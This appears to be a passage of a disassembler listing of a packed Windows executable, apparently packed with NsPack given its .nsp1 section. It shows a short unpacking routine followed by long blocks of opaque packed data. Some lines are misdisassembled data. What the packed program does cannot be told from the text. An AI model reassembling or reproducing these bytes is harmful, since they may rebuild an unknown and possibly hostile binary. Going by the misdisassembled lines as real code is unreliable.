		jnb	short loc_4FA4E8
		cmp	eax, 7Fh
		ja	short loc_4FA4E9


loc_4FA4E7:				; CODE XREF: sub_4FA474+65j
		inc	ecx


loc_4FA4E8:				; CODE XREF: sub_4FA474+31j
					; sub_4FA474+6Cj
		inc	ecx


loc_4FA4E9:				; CODE XREF: sub_4FA474+45j
					; sub_4FA474+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4FA481
sub_4FA474	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA4F3	proc near		; CODE XREF: sub_4FA474:loc_4FA481p
					; sub_4FA474+16p ...
		add	dl, dl
		jnz	short locret_4FA4FC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4FA4FC:				; CODE XREF: sub_4FA4F3+2j
		retn
sub_4FA4F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA4FD	proc near		; CODE XREF: sub_4FA474+40p
					; sub_4FA474+5Bp
		xor	ecx, ecx
sub_4FA4FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FA4FF	proc near		; CODE XREF: sub_4FA474:loc_4FA4AAp
		inc	ecx


loc_4FA500:				; CODE XREF: sub_4FA4FF+Dj
		call	sub_4FA4F3
		adc	ecx, ecx
		call	sub_4FA4F3
		jb	short loc_4FA500
		retn
sub_4FA4FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4FA474


loc_4FA50F:				; CODE XREF: sub_4FA474+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4FA474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4FA513:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-0A3h]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_4FA52F
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_4FA52F:				; CODE XREF: .nsp1:004FA523j
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_4FA55E
; ---------------------------------------------------------------------------
		db 58h
		dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
		db 0C1h, 0E2h
; ---------------------------------------------------------------------------


loc_4FA55E:				; CODE XREF: .nsp1:004FA54Dj
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
		dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh,	1D83E82Bh
		dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
		dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh,	4F97F28Ch
		dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
		dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
		dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
		dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
		dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
		dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh,	0E8DB8594h
		dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
		dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
		dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h,	0D98BC97Dh
		dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
		dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h,	61C98824h
		dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
		dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
		dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
		dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
		dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
		dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
		dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
		dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
		dd 6A11EB08h, 48EF840h,	0A213A102h, 0D2D2100Ch,	4ABE2C67h
		dd 813F938h, 41F1544Eh,	0C8030C4Dh, 70473324h, 52A4F1B8h
		dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
		dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h,	0DB325A05h
		dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh,	0E958020Dh
		dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
		dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h,	207D8EA3h
		dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
		dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h,	0FD446455h
		dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
		dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
		dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
		dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h,	8A1C9AF8h
		dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
		dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh,	0E894C233h
		dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
		dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
		dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh,	912BC09Dh
		dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
		dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
		dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
		dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
		dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
		dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
		dd 4F8D997h, 4C7CB424h,	58247D03h, 0F25194D8h, 624073Dh
		dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h,	0FB2391D6h
		dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
		dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
		dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
		dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
		dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h,	854A4009h
		dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h,	0B5905582h
		dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
		dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h,	0E9440762h
		dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
		dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
		dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
		dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
		dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h,	2420651Dh
		dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
		dd 0F8C41E5Fh, 80B90153h, 0
		dd 5D00h, 0E6680020h, 90000001h, 5C00000Fh, 0AA310D02h
		dd 0A9DD4945h, 42313640h, 2726FC04h, 289057C8h,	0C19605DFh
		dd 0B9C54FF8h, 1A331BCBh, 0B0F3FD86h, 0B626D5F1h, 4BA6F514h
		dd 99972769h, 8F9AE417h, 0B27E0D7Ch, 0D1D6AB50h, 5879E836h
		dd 9418C663h, 2898E0DDh, 0F1C6E6ABh, 0ADA3D28Ch, 6D06E8A5h
		dd 49F8993Ch, 54CB1D55h, 0D74069ACh, 2C010BAFh,	0DA21C349h
		dd 0B0FCC31Ch, 214E56F7h, 6C7512CBh, 75E8FCFBh,	0B7DD0976h
		dd 0E202C623h, 0E88B1DDAh, 9A2C8AFEh, 80BD3F00h, 8DBE1374h
		dd 9E4378DDh, 38FAAC6Ah, 35E31B24h, 544B52E4h, 1E893B1Bh
		dd 96CEFCBDh, 0C13010D6h, 1759346Dh, 782B4AC9h,	544D2D51h
		dd 7A637C11h, 0A85BC1E1h, 0D9D905B7h, 2A811657h, 14B3EDD0h
		dd 5A476DF4h, 193750F5h, 1811F6AEh, 0C656EC03h,	33B84079h
		dd 41DA9232h, 0E296776Ah, 6FCA4608h, 0DCB78CA9h, 8F9FD49Fh
		dd 430CDC09h, 0EE15DEAFh, 0B4D30161h, 0D25FCDA2h, 0E84C746Eh
		dd 32EE1A21h, 0B132FC8Fh, 0A3C556F4h, 1D143E13h, 0D7188556h
		dd 7F969297h, 0E49257EFh, 5C7231FAh, 12F9D5F7h,	7A2F4914h
		dd 7F50C1A3h, 0DE5257ADh, 0B5CCF9C9h, 0AB33050h, 0BF495366h
		dd 1BE41A55h, 12342D0h,	0BF2BA8BDh, 3608B685h, 0B2495A09h
		dd 0A45FC887h, 479E54F4h, 0CC094DE6h, 298CA798h, 35EEA346h
		dd 0C98029E2h, 0FE841A1Eh, 0AE29BC23h, 1D18AAB0h, 80E861C0h
		dd 2DD3E747h, 36D1BF9Bh, 84CDF6ACh, 0D78C30Ah, 4ACE97E1h
		dd 4C1E88F6h, 182D57h, 0BBD53716h, 991AF9A9h, 0A859D9E3h
		dd 0DA56D177h, 672785D7h, 824584E3h, 62ECE7A6h,	8E83B7FFh
		dd 1D1CE4EEh, 20A9DF98h, 0C3DEB9E9h, 64FAAD30h,	833A6CCh
		dd 0F396FEF9h, 99932BE4h, 9A6DA603h, 0DCB49ECDh, 9D79FA8Ah
		dd 25B4FA51h, 3746CF8Fh, 0E28B097Ah, 21E4EA92h,	4B3A1595h
		dd 0A5E9EE7Eh, 0B8EB743Fh, 0A3B4F881h, 30C52024h, 0CBC0D6B7h
		dd 76B34841h, 0AE4B7611h, 36793E56h, 84577C28h,	0BB83D80Bh
		dd 460154F8h, 313AEBDBh, 0DB261C61h, 0F39371BBh, 0D803A9BCh
		dd 6EDAAA59h, 0BE5CA96Bh, 7A3956D4h, 7228274Dh,	768EA56Ch
		dd 0B4DD3A3Dh, 931AF9BAh, 0FDAAC153h, 0E00206AAh, 0AB7CE58Eh
		dd 6BAFD551h, 137AC315h, 0E10FBFA1h, 6D277457h,	66CB7EFAh
		dd 5A173E91h, 4BC3816h,	0BFEA60A0h, 20F16F2Eh, 0CB615211h
		dd 0E16B6071h, 839F889Ch, 985F608Fh, 540E8DAFh,	5D1C670Eh
		dd 63A92B40h, 0A2B87F00h, 48058372h, 219F2240h,	76F8911Fh
		dd 0B577405Ch, 0A759BE5Ah, 564A153Fh, 11D3F513h, 778793A9h
		dd 4551E709h, 7C6500A3h, 0BF74534h, 7A58078Fh, 0D591C6F6h
		dd 4BDE74EEh, 1570E75Ch, 0CB178970h, 2F35DE97h,	7A6C66A2h
		dd 50A08E0Ch, 3F279BA0h, 8150A8A2h, 837DFDB3h, 0A7D42653h
		dd 0DD5725A4h, 0F65A710Fh, 0C7F8506Fh, 70B8EDBAh, 0D117C379h
		dd 0FA21D330h, 497B9644h, 0DB14C8BEh, 232767h, 519BE2F5h
		dd 0C81E5C64h, 19406511h, 4F0828FFh, 8F216750h,	28516D99h
		dd 0B9909084h, 752A09E6h, 0B0E8FA12h, 2F34B924h, 8554E5C8h
		dd 1D91C8C9h, 0F6371Fh,	0F93F2029h, 3F2B5DE6h, 0FE961E9h
		dd 0E7F4F5F4h, 0B7FE70F7h, 2E111A33h, 8628EAB0h, 0C3FBC10Dh
		dd 0A2382B4Fh, 2BA6FF8h, 0A15C7F30h, 1033EFF8h,	0D3DD4C00h
		dd 0D197D710h, 88E90BC7h, 0C7964F02h, 2E13CB64h, 17973FD1h
		dd 3B88AA64h, 6FF5BFACh, 0D2316472h, 0CC2072C2h, 15047D17h
		dd 0F2BC7497h, 243FE70Dh, 2F2BDFACh, 922CA802h,	6EA906B3h
		dd 5D73DD56h, 4082C867h, 22341CB3h, 0D1E95C55h,	45E98600h
		dd 7B80916Ah, 0AEE7D4Bh, 3B3571BEh, 0C31090ABh,	0CDAC411Ch
		dd 95CD40F2h, 194F2A66h, 3CBEA38Bh, 0DC6A70BBh,	6000E82Ch
		dd 3C52D1C8h, 975201B6h, 0B56494A8h, 0B824AD67h, 4D2B4143h
		dd 0E4C85BD0h, 70B06902h, 0F067D1C9h, 42EE6C8Ah, 0BB346EE5h
		dd 0EBAF21B7h, 524B7D6Bh, 5C1C1C19h, 9FC40EABh,	69108FFFh
		dd 95208DCFh, 6FF617C2h, 0B99EEC2Fh, 0FF19C49Eh, 0BC469BA0h
		dd 0BE454F4Bh, 54649F95h, 29FF8825h, 0E6AF6DE9h, 21998C06h
		dd 0D458E1Ah, 469048CDh, 9FABEA47h, 42B494BAh, 0ACD29EC5h
		dd 7A89BF38h, 457FBE27h, 60CBE7D0h, 0E90D1530h,	0B6B13500h
		dd 0DCAA0811h, 941030A1h, 50701BB1h, 73B551AEh,	2AEF6A79h
		dd 0CE9B72F1h, 0D5F86816h, 57839C9h, 0F687DBB6h, 15E65D5Dh
		dd 524D1E7Bh, 7E6F2ABDh, 6A66CCB6h, 79EC53A6h, 5B4BC61Dh
		dd 4AE934C2h, 9218C9D8h, 4711126Eh, 7FCD18C6h, 6C60C9DCh
		dd 0B7A0E53Dh, 0EC09CB21h, 0F91832Ch, 0F163AB99h, 63703900h
		dd 0A1E63EEBh, 1BF1DEECh, 0E1A8B03Dh, 1B4894BEh, 8D0749EEh
		dd 597AC1A4h, 0D7FA298Fh, 0FEC52619h, 109FD9EFh, 83E317BDh
		dd 0CEDCF178h, 24FD8746h, 7D1CF678h, 15EC892Ch,	2CA2CA3h
		dd 0CC826D7Eh, 8B57DB36h, 0D221D51Fh, 706D4620h, 3C45E787h
		dd 0CEE57E4Ch, 5053A20Bh, 97EFB1E8h, 5FEF7602h,	94B3A141h
		dd 0AF2F8ED5h, 1DFDE9E5h, 2FB4C241h, 0D1C34AE0h, 5DCE8327h
		dd 427B8968h, 67C40768h, 0F0788C34h, 7E73A145h,	0C1B8F518h
		dd 31CED07Ch, 1F6B7B9Dh, 0D52C2F8h, 2E3BBBB7h, 67E23D06h
		dd 2E3097DAh, 0A6A4DEE3h, 0B3B19EDBh, 0A6D7B856h, 724F8BA0h
		dd 177FF177h, 63EE882Bh, 31F616A8h, 846D116Eh, 0C637F1C0h
		dd 26582A81h, 16C3F099h, 9FF3110h, 0E0D71E6Dh, 71BBB107h
		dd 0E5296DAFh, 1DC69531h, 150D3F69h, 0EF8C3F3h,	0BC285EDDh
		dd 32A5CD4Ch, 7BF66108h, 8AA69D96h, 0C3B0A9CFh,	1B16C6Fh
		dd 0E278CE4Dh, 0DA25F450h, 8B560F35h, 4919D4A9h, 14F74ACBh
		dd 11F7938Eh, 21136193h, 0CB70866Ch, 64A76CD6h,	5BD3797Eh
		dd 8C0F4B64h, 1621A395h, 6A924B47h, 504A0AB5h, 952ACB6Bh
		dd 5F5B0EA6h, 4561026Eh, 8E2D83B9h, 8EF12B18h, 0D02C9BCFh
		dd 0FB32B41Dh, 90A8A7Ah, 6E7C4678h, 961360B2h, 1BE78A9Bh
		dd 93A2F49Eh, 0B988C67Eh, 333E3B72h, 4EDF561Ch,	0BC5B6C3Bh
		dd 8940A283h, 2E26B737h, 90C7F715h, 88C9193Dh, 44C1BFDDh
		dd 0BB712E1Bh, 0A0095607h, 15BD6F4Fh, 0DBA5ADFFh, 4D5B1449h
		dd 0F3438B16h, 136B948Ah, 370817E5h, 9D0EA90Bh,	2314B94Eh
		dd 873BDBE2h, 0C399EA34h, 15877FB2h, 8DF2B2C7h,	1C5F91B8h
		dd 4694FCEFh, 0DF2702CDh, 5654DA31h, 7D9E2308h,	0E8A1AD97h
		dd 417E4825h, 0C4B7E789h, 3E17115Bh, 0C2DF3F06h, 52088F10h
		dd 0F676614Eh, 83B01AAFh, 0EB3E76C5h, 37DE8A85h, 59612D74h
		dd 0FD3B9FDBh, 7F39F112h, 0EE8532E0h, 93037F1Dh, 0D74AC4CCh
		dd 0DB71958Eh, 4A1DFFCAh, 9005A4EBh, 0FA298F38h, 25181A46h
		dd 0A490F8BFh, 136ACA91h, 0F24FCCA6h, 2E14581Ch, 0A8C073C2h
		dd 65ADE8C4h, 2E0A9EA1h, 0AE1D6484h, 92F1B4CCh,	36E1A8F0h
		dd 0F9B8C3D4h, 9305F235h, 0E8AC674Bh, 442314D0h, 5098AB7Eh
		dd 9DF705EDh, 0E34475D1h, 76851C7Bh, 0A03FA023h, 828E303Fh
		dd 9982E8D6h, 0AC1BC1AAh, 0A9629A33h, 0BE7EA9Bh, 0A6E75B1Ah
		dd 0DE4C567Fh, 5E42BFDAh, 0D1A46DC7h, 170EB2D3h, 0ADDD1F03h
		dd 0A65E6614h, 0EB8C6C39h, 20436C46h, 77FD1982h, 1512D08Ah
		dd 0F88D340Dh, 64816D2Eh, 0FB60A420h, 3584B208h, 0C94B1CD5h
		dd 8B8045CDh, 1C8920B9h, 0A11C689Fh, 8630CCE7h,	0D0009EA9h
		dd 42D99585h, 0B2C4350Fh, 6C5226FCh, 0ECDD9D3Ch, 0BB9F6C8Eh
		dd 5DFC3FB1h, 5EC8B7D3h
		dd 0E3D51566h, 0F29C45A1h, 0DD8ABFC5h, 0F087860Ch, 1631A4C7h
		dd 0D098705Bh, 50996949h, 0ED33E014h, 0DA728439h, 11216B32h
		dd 0ECBB2F50h, 0A6A64803h, 48D24B73h, 3733B6ECh, 57D71036h
		dd 0ACFA6FF2h, 25778D3Dh, 2961FDEh, 0D91F9DCBh,	0F3FD3C60h
		dd 0E70FE820h, 5A3F6296h, 6CAA86F0h, 8CAFECAAh,	0A50B9A9Eh
		dd 55348562h, 0DE1F63C3h, 0C19E3256h, 0B5FC66EDh, 266EC93Eh
		dd 56B669C8h, 69047775h, 23A099CBh, 0A08EF497h,	4F978921h
		dd 0F0CDF8B5h, 73EAB09Ah, 1E91E549h, 0AFAA3724h, 0D3375E5Eh
		dd 0B72BA140h, 47146622h, 0B687AED5h, 0D0BCB3B3h, 0FC600AC2h
		dd 230F5231h, 7201A7AEh, 0EC0210E5h, 37FC8A22h,	0F334372Ah
		dd 38682564h, 0C10019Ah, 98AE702Ah, 2DBFAA16h, 673F5309h
		dd 1FC9BA23h, 92AAD728h, 0E89E0AC1h, 626B125Eh,	993C06AEh
		dd 7A28528Ch, 0F4D16BF2h, 8DE590Dh, 0E8322A9Ah,	59CEA4B5h
		dd 0E07A5D8Dh, 10CDF2F6h, 259F865h, 0D93C8234h,	0C0FD067h
		dd 76C22FD7h, 0DA2376D6h, 0FABD1BDFh, 898F54BCh, 0EF48D88Eh
		dd 63EBCC15h, 5702B331h, 8AC8BB2Ch, 4B6529C8h, 32C923Ch
		dd 9D2BB54h, 8BC9C2E8h,	5080718Fh, 0B93A0535h, 8E16BD29h
		dd 0BD3F95FEh, 9851C718h, 9309723Bh, 4D5F1369h,	13AF21Bh
		dd 0FDCB7FDh, 906B4992h, 0EEFF2FABh, 0A34DC31Dh, 62EE8A4Fh
		dd 5E718169h, 0EBDCAF83h, 561F509Eh, 43DEBC00h,	9AB0DC27h
		dd 0F4018A96h, 0E3115CD0h, 95523F5Eh, 0DF2250F6h, 0AE71DE6h
		dd 29310C8h, 63D05FDAh,	7C73868Ah, 8E9DC0CEh, 0C3EEFAA2h
		dd 0BCB4ED8h, 4EAC7505h, 4059F1E1h, 48572220h, 5C24B72Bh
		dd 0D3B5D4DCh, 18D1E8FAh, 34AF9D3h, 29220630h, 88228293h
		dd 34CA2B0h, 47DC3E4Bh,	425AA842h, 7B7A909Bh, 0C4D5C200h
		dd 0E66268EDh, 8EECFD6Ah, 8F2E84E0h, 18D8949Fh,	7BC81E4Fh
		dd 0BBD39A78h, 5607C80Bh, 0CAB846EEh, 0B35F7AAEh, 0E638F2D3h
		dd 0C5A43499h, 76FFC424h, 758BEB5Dh, 0ED89BED5h, 0A08C95DCh
		dd 60646717h, 1742FA90h, 8303C339h, 0C1BAAFA9h,	21F07B2h
		dd 0FAE6A4ADh, 0DE53543Eh, 0C7C0009Eh, 0F35FD2B3h, 0AC579186h
		dd 9D0418AFh, 1B77BB7h,	0C525BD93h, 0B6A1B71Dh,	0EEE7E7Eh
		dd 0AC4955F5h, 1486E1EAh, 98381542h, 0D4E5EC06h, 53B3E827h
		dd 8F61E4CFh, 337F29D8h, 0F48DC069h, 0FBDE46AFh, 0D5C27D5Dh
		dd 0C338310Ch, 7CE2B81Ah, 0EE5BB20Bh, 27686BC6h, 0AFB55F85h
		dd 0B485D70Fh, 0CA2D9270h, 0CFF50ECFh, 134FF18Ah, 83D3D5D5h
		dd 7D4CD135h, 0AFFA9ED8h, 24B88424h, 40142C7Ah,	0E07C33ADh
		dd 7F208382h, 35D07F8Fh, 0B77EA627h, 0A4963071h, 0E0F5329Fh
		dd 0AF2CEC7Ch, 0E28EDD17h, 988EFF00h, 1E7C62F3h, 1DFDAF43h
		dd 96A252A2h, 0F5B35E2Fh, 0E9901C4Dh, 5112BAEBh, 0B27DEE69h
		dd 0BF231230h, 2BF07E17h, 0A2CC38ABh, 45398C5Bh, 225D6150h
		dd 0AC17EC20h, 0CF426BD1h, 61769C75h, 0E1CC15E0h, 0BF0E5E98h
		dd 0C25B72F1h, 0AECED05Fh, 0E2C47CDh, 0B776C079h, 6303E4DDh
		dd 8DDE59E0h, 8E3EBED8h, 974DA5FFh, 0FD59A1F8h,	0C76C9A11h
		dd 0D94F2A1Bh, 0AD2A17E8h, 3DEA6A94h, 1393209Fh, 0A638B0BDh
		dd 27816C40h, 0DAF05B90h, 0ECE2948Dh, 0AD4A2D9Eh, 3D95EF51h
		dd 94C6C5F4h, 0E53CA0CEh, 8A9ADFBBh, 18931B00h,	0B4B0B0BBh
		dd 9BADA995h, 0D712C2CDh, 0C80DE6DDh, 3BF1E680h, 31CFC89h
		dd 0EFF40BBEh, 0B438B9F7h, 0E8FC10A8h, 0FE47D352h, 24D7FE08h
		dd 3B39968Eh, 79FBA671h, 83EA6C01h, 0DC1260E2h,	25F7DB1h
		dd 859AABB7h, 5DD288BAh, 6DA3E6A7h, 0FD6AEBFDh,	1B2FEB53h
		dd 0F71ECDC5h, 0B2969E95h, 0B89E7DD6h, 0EACC7440h, 201FF547h
		dd 43E7123Bh, 57CD9C08h, 594CAE38h, 9AA8BC81h, 9BD09BDCh
		dd 2009FA9Eh, 0C9443F91h, 0DF96F280h, 35277735h, 0C50B09B7h
		dd 7E3BF920h, 7174C9B4h, 552DED7Bh, 2D20879h, 8F7DACB4h
		dd 9F465D1Eh, 6C06946Ah, 9096C13Bh, 4C35BC8Bh, 2D76E844h
		dd 0DAAB4BECh, 0A9087B6Ah, 173F54h, 0C77606FDh,	13DBB5Bh
		dd 26C81A33h, 67E55C50h, 1274A5C7h, 62CE1AAh, 9D2022C9h
		dd 0A66974CAh, 0B1BDAD9Eh, 6E83445h, 25384591h,	0C40A4502h
		dd 0A0CE11DAh, 997FFA9Eh, 0A2067E23h, 0EC513465h, 0EA0D205Bh
		dd 0B7F80317h, 71EA0A39h, 0F2E89B65h, 0F8B1E53Dh, 0CF3E5693h
		dd 6A81453Eh, 10F64050h, 55F831C1h, 0DF7D1F98h,	0BDE5A18Ah
		dd 96E17882h, 98920EEDh, 1CFF8D94h, 0CA4589BAh,	0F9DD348Dh
		dd 7EF36A3Fh, 3DA74399h, 8FA2A343h, 0CB3099C3h,	0D09E7425h
		dd 901CB50Dh, 3EC4703Ch, 0DF9DA95Bh, 0F0372F81h, 0C28DA670h
		dd 0ACCC93DDh, 7F51D118h, 39186BF6h, 880CBE56h,	4F22DE33h
		dd 0E6D2E060h, 0EEF949D4h, 0BF2FCE13h, 28F738AAh, 4BB5033Ah
		dd 0F9D72F96h, 6D897BACh, 0C65E222h, 0D9B2A90Ch, 47CCB527h
		dd 0D20958AAh, 214BBC6h, 351BDF3Eh, 64C2DAA7h, 0DBE0D35Bh
		dd 8B2B5006h, 0B5B2F4DEh, 61356A0Dh, 0DA17C55Fh, 8B29FA2Eh
		dd 0CAC847BDh, 63C640D1h, 984FFB3Ch, 232DCF2Dh,	0F403CF1Fh
		dd 0A54EEF06h, 6542E18Fh, 68FFBD54h, 3F6B04B8h,	0EFBCBCB9h
		dd 0DA6C2B30h, 65C1BAC4h, 8E263BDFh, 38CCE623h,	0D73F9851h
		dd 509D455Bh, 6EC355A2h, 6F6BE7CFh, 0BB96AEE2h,	5373422Dh
		dd 5B5BC59Ch, 3A6F6B53h, 0BDF96F3Dh, 0DDDE04BEh, 17CD892Bh
		dd 7A0E8F06h, 0FECB3B5Eh, 0C06350D1h, 77F188A4h, 9A56F6BFh
		dd 66E50269h, 7A4B8C4Dh, 29C6C63Bh, 45534D54h, 9841069h
		dd 0B3C47B83h, 347A4BB5h, 0EF749BD9h, 3751A359h, 0C487E7EEh
		dd 970D27DFh, 732A305h,	0CE1684A9h, 13A8F5A0h, 9561AC4h
		dd 0F16B63EAh, 1FBFF507h, 90E0E2Ah, 1A998C55h, 0E545F11Eh
		dd 3DA67061h, 0D42C6051h, 255B119Ch, 0F12B1047h, 1B829A44h
		dd 0E9E9BFCCh, 58C82D2Bh, 68EC5AF4h, 8C14C19Ch,	8C142D4Dh
		dd 5E7F6706h, 3F105DE4h, 9E420885h, 0F25D8FEFh,	5BE43A1Fh
		dd 206D1B8Ah, 5983AF65h, 23E9B3ABh, 89860A57h, 869491F4h
		dd 0A0C18119h, 0B520CB9Bh, 873361C6h, 0A31A1B44h, 0AD5B210Dh
		dd 986A7F76h, 2156A113h, 70BB05A2h, 3821E21Ch, 759F9152h
		dd 65A30E63h, 0EB0DFCEDh, 0C06E240Ah, 8227DDEDh, 0EB0ADD9Dh
		dd 1C5C504h, 0D37352DCh, 88F44B5Ah, 97BD495Eh, 0F104E52Ah
		dd 4F04BC2Bh, 68171CE6h, 0C8B67DC5h, 0FC66CE15h, 2E3331E4h
		dd 26AFA7BCh, 9EC04B81h, 9E4C15C7h, 8CC704F1h, 0B3CB5113h
		dd 62783F75h, 28B2E5F7h, 0A9B01751h, 0CD23D9ADh, 9C67C898h
		dd 4B8EFA4Bh, 51B22CDEh, 82D4B006h, 98E297A0h, 0A4E8A571h
		dd 0F309C6A2h, 0F43ADDF3h, 9EAD405Eh, 0F1FB3543h, 0E0D27C63h
		dd 0F119C32h, 8C9808E4h, 4D46B8D8h, 84E5CF1Dh, 0FB3A7CC0h
		dd 0B04D63D1h, 0E42E971Ah, 748E2F3Bh, 99F6029Eh, 635BBFD6h
		dd 7637F818h, 0F623EC8Ch, 3620FF8Eh, 0AFCBBBFFh, 3509A4B1h
		dd 0D230FD28h, 9D5B1BD3h, 4DA4EAB6h, 45C82CF2h,	0BE7DC52Bh
		dd 867CCFFDh, 7D50CB0Ch, 2196E481h, 3FB6E89Bh, 0A9B46BAh
		dd 0DCBDF97Dh, 94A7F090h, 0B57E0346h, 0D75F51CFh, 0A62761F8h
		dd 0BF4D36E1h, 1AE7CB6Dh, 673B1B08h, 0E583907Fh, 0D7036A2Ch
		dd 27D75F41h, 7ED3639Fh, 7D8CE2E3h, 0C0118984h,	0E46E6428h
		dd 28786E6Eh, 0B78B8558h, 77ADEC02h, 88B435E9h,	1BF796E0h
		dd 80E2989Ah, 0B4609778h, 955C52CAh, 0B6E4DEC3h, 4451FB84h
		dd 2417C3F2h, 0B1FCACBBh
		dd 0BC7BF5EAh, 750667BEh, 50EF6C79h, 376E800Bh,	0D5ECDA5h
		dd 0DCE8516Eh, 0B5848CC0h, 354B1B9Bh, 9F243325h, 7C5D94Fh
		dd 0B6A38667h, 0DB945325h, 0EE424E7Bh, 3001189Eh, 0CCBD8F62h
		dd 6D844DAAh, 4B6DE4B9h, 46570389h, 447272E1h, 73789582h
		dd 9620D1DFh, 0B5D5AA61h, 0B5CC76Dh, 84C35D8Ah,	0C2080D9Dh
		dd 44044894h, 0C31CEB1Ah, 8CC2FBDh, 0A8A23732h,	67875FFh
